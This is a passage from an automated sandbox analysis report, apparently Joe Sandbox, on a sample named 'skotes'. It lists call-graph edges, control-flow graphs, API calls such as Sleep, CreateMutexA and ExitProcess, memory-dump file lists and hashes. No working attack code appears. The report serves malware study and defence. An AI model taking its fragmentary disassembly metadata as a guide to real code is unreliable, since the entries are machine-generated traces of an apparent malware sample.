9797->9801 9802 abf3d4 9798->9802 9804 abf39d 9799->9804 9806 abf3bf 9800->9806 9807 abf422 9801->9807 9808 abadf5 __freea RtlAllocateHeap 9802->9808 9803 abf49b 9809 abadf5 __freea RtlAllocateHeap 9803->9809 9815 abef3c 9804->9815 9805 abf43b 9805->9803 9813 abadf5 RtlAllocateHeap __freea 9805->9813 9843 abf03a 9806->9843 9812 abadf5 __freea RtlAllocateHeap 9807->9812 9808->9788 9814 abf4a1 9809->9814 9812->9789 9813->9805 9814->9785 9816 abef4d 9815->9816 9842 abf036 9815->9842 9817 abef5e 9816->9817 9818 abadf5 __freea RtlAllocateHeap 9816->9818 9819 abef70 9817->9819 9820 abadf5 __freea RtlAllocateHeap 9817->9820 9818->9817 9821 abadf5 __freea RtlAllocateHeap 9819->9821 9822 abef82 9819->9822 9820->9819 9821->9822 9823 abadf5 __freea RtlAllocateHeap 9822->9823 9824 abef94 9822->9824 9823->9824 9825 abefa6 9824->9825 9826 abadf5 __freea RtlAllocateHeap 9824->9826 9827 abefb8 9825->9827 9828 abadf5 __freea RtlAllocateHeap 9825->9828 9826->9825 9829 abefca 9827->9829 9831 abadf5 __freea RtlAllocateHeap 9827->9831 9828->9827 9830 abefdc 9829->9830 9832 abadf5 __freea RtlAllocateHeap 9829->9832 9833 abefee 9830->9833 9834 abadf5 __freea RtlAllocateHeap 9830->9834 9831->9829 9832->9830 9835 abf000 9833->9835 9836 abadf5 __freea RtlAllocateHeap 9833->9836 9834->9833 9837 abf012 9835->9837 9839 abadf5 __freea RtlAllocateHeap 9835->9839 9836->9835 9838 abf024 9837->9838 9840 abadf5 __freea RtlAllocateHeap 9837->9840 9841 abadf5 __freea RtlAllocateHeap 9838->9841 9838->9842 9839->9837 9840->9838 9841->9842 9842->9793 9845 abf047 9843->9845 9854 abf09f 9843->9854 9844 abf057 9847 abf069 9844->9847 9848 abadf5 __freea RtlAllocateHeap 9844->9848 9845->9844 9846 abadf5 __freea RtlAllocateHeap 9845->9846 9846->9844 9849 abf07b 9847->9849 9850 abadf5 __freea RtlAllocateHeap 9847->9850 9848->9847 9851 abf08d 9849->9851 9852 abadf5 __freea RtlAllocateHeap 9849->9852 9850->9849 9853 abadf5 __freea RtlAllocateHeap 9851->9853 9851->9854 9852->9851 9853->9854 9854->9795 9856 abf4fc 9855->9856 9857 abf4dd 9855->9857 9856->9805 9857->9856 9861 abf0db 9857->9861 9860 abadf5 __freea RtlAllocateHeap 9860->9856 9862 abf1b9 9861->9862 9863 abf0ec 9861->9863 9862->9860 9897 abf0a3 9863->9897 9866 abf0a3 __dosmaperr RtlAllocateHeap 9867 abf0ff 9866->9867 9868 abf0a3 __dosmaperr RtlAllocateHeap 9867->9868 9869 abf10a 9868->9869 9870 abf0a3 __dosmaperr RtlAllocateHeap 9869->9870 9871 abf115 9870->9871 9872 abf0a3 __dosmaperr RtlAllocateHeap 9871->9872 9873 abf123 9872->9873 9874 abadf5 __freea RtlAllocateHeap 9873->9874 9875 abf12e 9874->9875 9876 abadf5 __freea RtlAllocateHeap 9875->9876 9877 abf139 9876->9877 9878 abadf5 __freea RtlAllocateHeap 9877->9878 9879 abf144 9878->9879 9880 abf0a3 __dosmaperr RtlAllocateHeap 9879->9880 9881 abf152 9880->9881 9882 abf0a3 __dosmaperr RtlAllocateHeap 9881->9882 9883 abf160 9882->9883 9884 abf0a3 __dosmaperr RtlAllocateHeap 9883->9884 9885 abf171 9884->9885 9886 abf0a3 __dosmaperr RtlAllocateHeap 9885->9886 9887 abf17f 9886->9887 9888 abf0a3 __dosmaperr RtlAllocateHeap 9887->9888 9889 abf18d 9888->9889 9890 abadf5 __freea RtlAllocateHeap 9889->9890 9891 abf198 9890->9891 9892 abadf5 __freea RtlAllocateHeap 9891->9892 9893 abf1a3 9892->9893 9894 abadf5 __freea RtlAllocateHeap 9893->9894 9895 abf1ae 9894->9895 9896 abadf5 __freea RtlAllocateHeap 9895->9896 9896->9862 9898 abf0d6 9897->9898 9899 abf0c6 9897->9899 9898->9866 9899->9898 9900 abadf5 __freea RtlAllocateHeap 9899->9900 9900->9899 9903 a82480 Concurrency::cancel_current_task __dosmaperr ___std_exception_copy 9901->9903 9902 a9d401 Concurrency::cancel_current_task 9902->9744 9903->9902 9913 ab38af 9903->9913 9934 a9c1b9 9906->9934 9910 a8248e Concurrency::cancel_current_task 9909->9910 9911 ab38af ___std_exception_copy RtlAllocateHeap 9910->9911 9912 a824c3 9911->9912 9914 ab38bc ___std_exception_copy 9913->9914 9917 a824c3 9913->9917 9914->9917 9918 ab38e9 9914->9918 9919 aba1f1 9914->9919 9917->9744 9928 ab8ba3 9918->9928 9920 aba20c 9919->9920 9921 aba1fe 9919->9921 9922 ab75f6 __dosmaperr RtlAllocateHeap 9920->9922 9921->9920 9926 aba223 9921->9926 9923 aba214 9922->9923 9931 ab6c5a 9923->9931 9925 aba21e 9925->9918 9926->9925 9927 ab75f6 __dosmaperr RtlAllocateHeap 9926->9927 9927->9923 9929 abadf5 __freea RtlAllocateHeap 9928->9929 9930 ab8bbb 9929->9930 9930->9917 9932 ab6bf6 __cftof RtlAllocateHeap 9931->9932 9933 ab6c66 9932->9933 9933->9925 9937 a9c123 9934->9937 9936 a9c1ca Concurrency::cancel_current_task 9940 a822e0 9937->9940 9939 a9c135 9939->9936 9941 ab38af ___std_exception_copy RtlAllocateHeap 9940->9941 9942 a82317 std::invalid_argument::invalid_argument 9941->9942 9942->9939

                                                                                                                                                                                                                                                              Executed Functions

                                                                                                                                                                                                                                                              Function 00AB652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 358 ab652b-ab6538 call aba302 361 ab655a-ab656c call ab656d ExitProcess 358->361 362 ab653a-ab6548 GetPEB 358->362 362->361 363 ab654a-ab6559 362->363 363->361
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • ExitProcess.KERNEL32(?,?,00AB652A,?,?,?,?,?,00AB7661), ref: 00AB6567
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExitProcess
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 621844428-0
                                                                                                                                                                                                                                                              • Opcode ID: 14d30d866e79e0ce2c368d64b3261945f1abca535055eeb72b633274164f2043
                                                                                                                                                                                                                                                              • Instruction ID: bbc9d590747c1b5c97573f5179255d11570c51e7099eae94bddb38354a7fc895
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 14d30d866e79e0ce2c368d64b3261945f1abca535055eeb72b633274164f2043
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 43E08C30002148AFCE367B18C949B993B6DEB21759F005900F9184A223CB2AFD92CA90
                                                                                                                                                                                                                                                              Function 00A89BA5 Relevance: 3.1, APIs: 2, Instructions: 140sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 46e5ac0d6f63739ccbe958ea10f0fe2522ab05ab18d45861f1e604bbe465691a
                                                                                                                                                                                                                                                              • Instruction ID: 2066469931f92be64de1c8dde0080f72bf54f20a732414e568978cfe06751b59
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 46e5ac0d6f63739ccbe958ea10f0fe2522ab05ab18d45861f1e604bbe465691a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 013128717042049BFF08FBB8DD8976EB7A2EBD1310F248219E154972D5C77699818751
                                                                                                                                                                                                                                                              Function 00A89F44 Relevance: 3.1, APIs: 2, Instructions: 137sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 22 a89f44-a89f64 26 a89f92-a89fae 22->26 27 a89f66-a89f72 22->27 28 a89fdc-a89ffb 26->28 29 a89fb0-a89fbc 26->29 30 a89f88-a89f8f call a9d663 27->30 31 a89f74-a89f82 27->31 34 a8a029-a8a916 call a980c0 28->34 35 a89ffd-a8a009 28->35 32 a89fbe-a89fcc 29->32 33 a89fd2-a89fd9 call a9d663 29->33 30->26 31->30 36 a8a92b 31->36 32->33 32->36 33->28 39 a8a00b-a8a019 35->39 40 a8a01f-a8a026 call a9d663 35->40 42 a8a953-a8a994 Sleep CreateMutexA 36->42 43 a8a92b call ab6c6a 36->43 39->36 39->40 40->34 51 a8a996-a8a998 42->51 52 a8a9a7-a8a9a8 42->52 43->42 51->52 54 a8a99a-a8a9a5 51->54 54->52
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214502356.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214523787.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214612212.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214645216.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214673923.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214810548.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214841740.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214924670.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214952810.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2214990867.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215020428.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215044160.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215070387.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215094268.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215120797.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215153413.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215181596.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215209420.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215246942.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215281308.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215319144.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215348783.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215376246.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215405508.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215431175.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215458256.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215481683.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215507300.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215531277.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215557777.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215586505.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215616017.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215643379.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215712980.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215740578.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215767067.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215792030.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215820626.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215843709.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215875621.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000002.00000002.2215898213.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_2_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: a59db8d87e71e2930b85951b519e9fac89a8a21ede2cea1c6c8c985f1be6b441
                                                                                                                                                                                                                                                              • Instruction ID: a5cba5c130a09b61f3f45c95ebdf957c2928d7e02bd4fa81c232a8d3a45aa5e5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a59db8d87e71e2930b85951b519e9fac89a8a21ede2cea1c6c8c985f1be6b441
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 833126317041049BFF0CFBA8DD897ADBBA2EBD5310F24861AE165DB2D1C73599818752
                                                                                                                                                                                                                                                              Function 00A8A079 Relevance: 3.1, APIs: 2, Instructions: 136sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

